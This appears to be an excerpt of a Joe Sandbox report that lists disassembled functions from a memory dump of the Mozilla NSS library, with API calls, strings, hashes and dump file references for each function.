Instruction ID: 140707f3e3bbf30d15e67c9698e3f60f25751d43fd18ca9d83b9d6ae232896fb
Opcode Fuzzy Hash: 0d0a5116118f361e221109f8f6d7da570ad6c2b2a05a23fda15f063a7f04caa9
Instruction Fuzzy Hash: 1A02BB70A04224CBDB14CF69C6847AE7BB1BF49318F24613DD84DEBB42DB35AA45CB91

Function 6C87A622 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 214libraryCOMMON

Download Yara Rule

APIs

RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 6C87A6A6
LoadLibraryExA.KERNEL32(?,00000000,00000000), ref: 6C87A732
GetLastError.KERNEL32 ref: 6C87A73E
RaiseException.KERNEL32(C06D007E,00000000,00000001,?), ref: 6C87A77E

Strings

MZx, xrefs: 6C87A635, 6C87A65E
$, xrefs: 6C87A63A

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: ExceptionRaise$ErrorLastLibraryLoad
String ID: $$MZx
API String ID: 948315288-3153794291
Opcode ID: 4a685fef44a3e04c76b2b3912176c8de265123250b1bf3a741972039a3b463fa
Instruction ID: 05c140cee85d8aaf542a05cce181505e74af2ff1e745fe4097c7203ff8b4b85f
Opcode Fuzzy Hash: 4a685fef44a3e04c76b2b3912176c8de265123250b1bf3a741972039a3b463fa
Instruction Fuzzy Hash: A7818471A05219EFDB21DF99C984AEEB7B5FF49358B254429E804A7700DB74DE02CFA0

Function 6C7D4E50 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C7D4E90
EnterCriticalSection.KERNEL32 ref: 6C7D4EA9
TlsGetValue.KERNEL32 ref: 6C7D4EC6
EnterCriticalSection.KERNEL32 ref: 6C7D4EDF
PL_HashTableLookup.NSS3 ref: 6C7D4EF8
PR_Unlock.NSS3 ref: 6C7D4F05
PR_Now.NSS3 ref: 6C7D4F13
PR_Unlock.NSS3 ref: 6C7D4F3A

Part of subcall function 6C7A07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C73204A), ref: 6C7A07AD
Part of subcall function 6C7A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C73204A), ref: 6C7A07CD
Part of subcall function 6C7A07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C73204A), ref: 6C7A07D6
Part of subcall function 6C7A07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C73204A), ref: 6C7A07E4
Part of subcall function 6C7A07A0: TlsSetValue.KERNEL32(00000000,?,6C73204A), ref: 6C7A0864
Part of subcall function 6C7A07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C7A0880
Part of subcall function 6C7A07A0: TlsSetValue.KERNEL32(00000000,?,?,6C73204A), ref: 6C7A08CB
Part of subcall function 6C7A07A0: TlsGetValue.KERNEL32(?,?,6C73204A), ref: 6C7A08D7
Part of subcall function 6C7A07A0: TlsGetValue.KERNEL32(?,?,6C73204A), ref: 6C7A08FB

Strings

bU}l, xrefs: 6C7D4E5C
bU}l, xrefs: 6C7D4F3F

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID: bU}l$bU}l
API String ID: 326028414-1784630843
Opcode ID: bc02a6eda5750aeb422f40d5c81d8faf22dd4ade7b69ff321fd14ad98e8a6f21
Instruction ID: a3fcbc0ff5338e4ed5da7c3ba46d7cec2bc88c86b5d940bd4caa12b91fe465b4
Opcode Fuzzy Hash: bc02a6eda5750aeb422f40d5c81d8faf22dd4ade7b69ff321fd14ad98e8a6f21
Instruction Fuzzy Hash: 1F414CB4A04605DFCB00DF78C1848AABBF4FF49304B158A69DC599B710EB30E895CB91

Function 6C7A0600 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 84stringlibraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?), ref: 6C7A0623
GetLastError.KERNEL32(?,?,?,?,?,6C7A05E2), ref: 6C7A0642
TlsGetValue.KERNEL32(?,?,?,?,?,6C7A05E2), ref: 6C7A065D
GetLastError.KERNEL32 ref: 6C7A0678
PR_snprintf.NSS3(?,00000014,error %d,00000000), ref: 6C7A068A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7A0693
PR_SetErrorText.NSS3(00000000,?), ref: 6C7A069D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,0FAB1C26,?,?,?,?,?,6C7A05E2), ref: 6C7A06CA
PR_SetError.NSS3(FFFFE8A9,00000000,?,?,?,?,?,6C7A05E2), ref: 6C7A06E6

Strings

error %d, xrefs: 6C7A0682

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Error$Last$AddressProcR_snprintfTextValuestrcmpstrlen
String ID: error %d
API String ID: 4000364758-2147592115
Opcode ID: 740941b9d07e28bcb745bcf05aaf6a0e6fd56b9466cdc4fab63c0bb79a95a291
Instruction ID: f5d1c9eff336dfa2f081b7d6c93f5a793ca5f332b3189463e8011f3d0ac52c58
Opcode Fuzzy Hash: 740941b9d07e28bcb745bcf05aaf6a0e6fd56b9466cdc4fab63c0bb79a95a291
Instruction Fuzzy Hash: F8214C71F041409BD7106BBDDE09B6A7774AF8630DF240E38D80597A61EB319526CBA2

Function 6C7FECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6C7FDE64), ref: 6C7FED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7FED22

Part of subcall function 6C80B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8E18D0,?), ref: 6C80B095

PL_FreeArenaPool.NSS3(?), ref: 6C7FED4A
PL_FinishArenaPool.NSS3(?), ref: 6C7FED6B
PR_CallOnce.NSS3(6C912AA4,6C8112D0), ref: 6C7FED38

Part of subcall function 6C734C70: TlsGetValue.KERNEL32(?,?,?,6C733921,6C9114E4,6C87CC70), ref: 6C734C97
Part of subcall function 6C734C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C733921,6C9114E4,6C87CC70), ref: 6C734CB0
Part of subcall function 6C734C70: PR_Unlock.NSS3(?,?,?,?,?,6C733921,6C9114E4,6C87CC70), ref: 6C734CC9

SECOID_FindOID_Util.NSS3(?), ref: 6C7FED52
PR_CallOnce.NSS3(6C912AA4,6C8112D0), ref: 6C7FED83
PL_FreeArenaPool.NSS3(?), ref: 6C7FED95
PL_FinishArenaPool.NSS3(?), ref: 6C7FED9D

Part of subcall function 6C8164F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C81127C,00000000,00000000,00000000), ref: 6C81650E

Strings

security, xrefs: 6C7FED06

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 3d5bf58cc8c79b9e771b4ef99085747ad47fbdb11e9de6eaceabcbc84497aa7c
Instruction ID: 4e98a36c2c9aefee4e036001d4f94f72919db440483272d4ed71c64fd8aea756
Opcode Fuzzy Hash: 3d5bf58cc8c79b9e771b4ef99085747ad47fbdb11e9de6eaceabcbc84497aa7c
Instruction Fuzzy Hash: B4116D719042196BD7205729AE86BBB72B8EF4270CF040C38E86463F81F725A50DD6F7

Function 6C7E2CD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6C7E2CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6C7E2D07

Part of subcall function 6C8C09D0: PR_Now.NSS3 ref: 6C8C0A22
Part of subcall function 6C8C09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C8C0A35
Part of subcall function 6C8C09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C8C0A66
Part of subcall function 6C8C09D0: PR_GetCurrentThread.NSS3 ref: 6C8C0A70
Part of subcall function 6C8C09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C8C0A9D
Part of subcall function 6C8C09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C8C0AC8
Part of subcall function 6C8C09D0: PR_vsmprintf.NSS3(?,?), ref: 6C8C0AE8
Part of subcall function 6C8C09D0: EnterCriticalSection.KERNEL32(?), ref: 6C8C0B19
Part of subcall function 6C8C09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C8C0B48
Part of subcall function 6C8C09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C8C0C76
Part of subcall function 6C8C09D0: PR_LogFlush.NSS3 ref: 6C8C0C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C7E2D22

Part of subcall function 6C8C09D0: OutputDebugStringA.KERNEL32(?), ref: 6C8C0B88
Part of subcall function 6C8C09D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C8C0C5D
Part of subcall function 6C8C09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C8C0C8D
Part of subcall function 6C8C09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C8C0C9C
Part of subcall function 6C8C09D0: OutputDebugStringA.KERNEL32(?), ref: 6C8C0CD1
Part of subcall function 6C8C09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C8C0CEC
Part of subcall function 6C8C09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C8C0CFB
Part of subcall function 6C8C09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C8C0D16
Part of subcall function 6C8C09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C8C0D26
Part of subcall function 6C8C09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C8C0D35
Part of subcall function 6C8C09D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6C8C0D65
Part of subcall function 6C8C09D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C8C0D70
Part of subcall function 6C8C09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C8C0D90
Part of subcall function 6C8C09D0: free.MOZGLUE(00000000), ref: 6C8C0D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C7E2D3B

Part of subcall function 6C8C09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C8C0BAB
Part of subcall function 6C8C09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C8C0BBA
Part of subcall function 6C8C09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C8C0D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6C7E2D54

Part of subcall function 6C8C09D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C8C0BCB
Part of subcall function 6C8C09D0: EnterCriticalSection.KERNEL32(?), ref: 6C8C0BDE
Part of subcall function 6C8C09D0: OutputDebugStringA.KERNEL32(?), ref: 6C8C0C16

Strings

slotID = 0x%x, xrefs: 6C7E2D02
pPin = 0x%p, xrefs: 6C7E2D1D
C_InitToken, xrefs: 6C7E2CE7
ulPinLen = %d, xrefs: 6C7E2D36
pLabel = 0x%p, xrefs: 6C7E2D4F

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken
API String ID: 420000887-1567254798
Opcode ID: 77e075a01df3926c60dcb460ce831498c9ba9879c9111994099303ad57b6abff
Instruction ID: 502ef9f21078dcb1f18aa78f2e3b69fe6799956d25601eee722da297ebbb9093
Opcode Fuzzy Hash: 77e075a01df3926c60dcb460ce831498c9ba9879c9111994099303ad57b6abff
Instruction Fuzzy Hash: DC21C176644245EFDB10EF54DF4FA593BB1EB4A329F144424E60493A22DB31D918CB62

Function 6C8C0EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6C7A2357), ref: 6C8C0EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C7A2357), ref: 6C8C0EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C8C0EE6

Part of subcall function 6C8C09D0: PR_Now.NSS3 ref: 6C8C0A22
Part of subcall function 6C8C09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C8C0A35
Part of subcall function 6C8C09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C8C0A66
Part of subcall function 6C8C09D0: PR_GetCurrentThread.NSS3 ref: 6C8C0A70
Part of subcall function 6C8C09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C8C0A9D
Part of subcall function 6C8C09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C8C0AC8
Part of subcall function 6C8C09D0: PR_vsmprintf.NSS3(?,?), ref: 6C8C0AE8
Part of subcall function 6C8C09D0: EnterCriticalSection.KERNEL32(?), ref: 6C8C0B19
Part of subcall function 6C8C09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C8C0B48
Part of subcall function 6C8C09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C8C0C76
Part of subcall function 6C8C09D0: PR_LogFlush.NSS3 ref: 6C8C0C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C8C0EFA

Part of subcall function 6C7AAEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C7AAF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C8C0F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C8C0F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C8C0F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C8C0F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6C8C0ED9, 6C8C0EE5, 6C8C0F06, 6C8C0F0B
Aborting, xrefs: 6C8C0EB3

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: f38a22088a26d12def630432a7d36431ac508784659779da4474fdcc13f1411e
Instruction ID: d2e6b946355a574f5df1a7d48e820c6ecd59de664d58910945cc6bc8c48f75b5
Opcode Fuzzy Hash: f38a22088a26d12def630432a7d36431ac508784659779da4474fdcc13f1411e
Instruction Fuzzy Hash: CBF0A4F5A001187BDB103B609C4AC9B3E2DDF46264F004428FD0956602DB76E919D6B3

Function 6C824DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6C824DCB

Part of subcall function 6C810FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7B87ED,00000800,6C7AEF74,00000000), ref: 6C811000
Part of subcall function 6C810FF0: PR_NewLock.NSS3(?,00000800,6C7AEF74,00000000), ref: 6C811016
Part of subcall function 6C810FF0: PL_InitArenaPool.NSS3(00000000,security,6C7B87ED,00000008,?,00000800,6C7AEF74,00000000), ref: 6C81102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6C824DE1

Part of subcall function 6C8110C0: TlsGetValue.KERNEL32(?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C8110F3
Part of subcall function 6C8110C0: EnterCriticalSection.KERNEL32(?,?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C81110C
Part of subcall function 6C8110C0: PL_ArenaAllocate.NSS3(?,?,?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C811141
Part of subcall function 6C8110C0: PR_Unlock.NSS3(?,?,?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C811182
Part of subcall function 6C8110C0: TlsGetValue.KERNEL32(?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C81119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6C824DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C824E59

Part of subcall function 6C80FAB0: free.MOZGLUE(?,-00000001,?,?,6C7AF673,00000000,00000000), ref: 6C80FAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C8E300C,00000000), ref: 6C824EB8
SECOID_FindOID_Util.NSS3(?), ref: 6C824EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6C824F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C82521A

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: 7873cea5284e3ad085d986625ebefdfeaaa123b2e910c369445385e84be7c58b
Instruction ID: 1c16f30198db7c5c19304f9fa11c27f5d498672a9447bc2219854d9e655e047d
Opcode Fuzzy Hash: 7873cea5284e3ad085d986625ebefdfeaaa123b2e910c369445385e84be7c58b
Instruction Fuzzy Hash: 0BF19C71E002098BDB24CF58D9447ADB7B2FF88318F254529E915ABB84E739E981CFD0

Function 6C820C60 Relevance: 16.7, APIs: 11, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6C822C2A), ref: 6C820C81

Part of subcall function 6C80BE30: SECOID_FindOID_Util.NSS3(6C7C311B,00000000,?,6C7C311B,?), ref: 6C80BE44

Part of subcall function 6C7F8500: SECOID_GetAlgorithmTag_Util.NSS3(6C7F95DC,00000000,00000000,00000000,?,6C7F95DC,00000000,00000000,?,6C7D7F4A,00000000,?,00000000,00000000), ref: 6C7F8517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C820CC4

Part of subcall function 6C80FAB0: free.MOZGLUE(?,-00000001,?,?,6C7AF673,00000000,00000000), ref: 6C80FAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C820CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6C820D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6C820D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6C820D7D
free.MOZGLUE(00000000), ref: 6C820DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C820DC1
free.MOZGLUE(00000000), ref: 6C820DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C820E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C820E0F

Part of subcall function 6C7F95C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6C7D7F4A,00000000,?,00000000,00000000), ref: 6C7F95E0
Part of subcall function 6C7F95C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6C7D7F4A,00000000,?,00000000,00000000), ref: 6C7F95F5
Part of subcall function 6C7F95C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C7F9609
Part of subcall function 6C7F95C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C7F961D
Part of subcall function 6C7F95C0: PK11_GetInternalSlot.NSS3 ref: 6C7F970B
Part of subcall function 6C7F95C0: PK11_FreeSymKey.NSS3(00000000), ref: 6C7F9756
Part of subcall function 6C7F95C0: PK11_GetIVLength.NSS3(?), ref: 6C7F9767
Part of subcall function 6C7F95C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6C7F977E
Part of subcall function 6C7F95C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C7F978E

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID:
API String ID: 3136566230-0
Opcode ID: 1560ec5cd87676806ccf417eec5cd635fb0ed83064b95e84233f3d7752041d26
Instruction ID: 9632479f23daf7360d502ff7f6a7dd931d33bd80e36374cca814943ffb02420b
Opcode Fuzzy Hash: 1560ec5cd87676806ccf417eec5cd635fb0ed83064b95e84233f3d7752041d26
Instruction Fuzzy Hash: A541F5F1901209ABEB109F64DE49BAF7674EF0430DF100938ED1557741E735AA58CBE2

Function 6C7B4FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6C900148,?,6C7C6FEC), ref: 6C7B502A
PR_NewLock.NSS3(00000001,00000000,6C900148,?,6C7C6FEC), ref: 6C7B5034
PL_NewHashTable.NSS3(00000000,6C80FE80,6C80FD30,6C85C350,00000000,00000000,00000001,00000000,6C900148,?,6C7C6FEC), ref: 6C7B5055
PL_NewHashTable.NSS3(00000000,6C80FE80,6C80FD30,6C85C350,00000000,00000000,?,00000001,00000000,6C900148,?,6C7C6FEC), ref: 6C7B506D

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: HashLockTable
String ID:
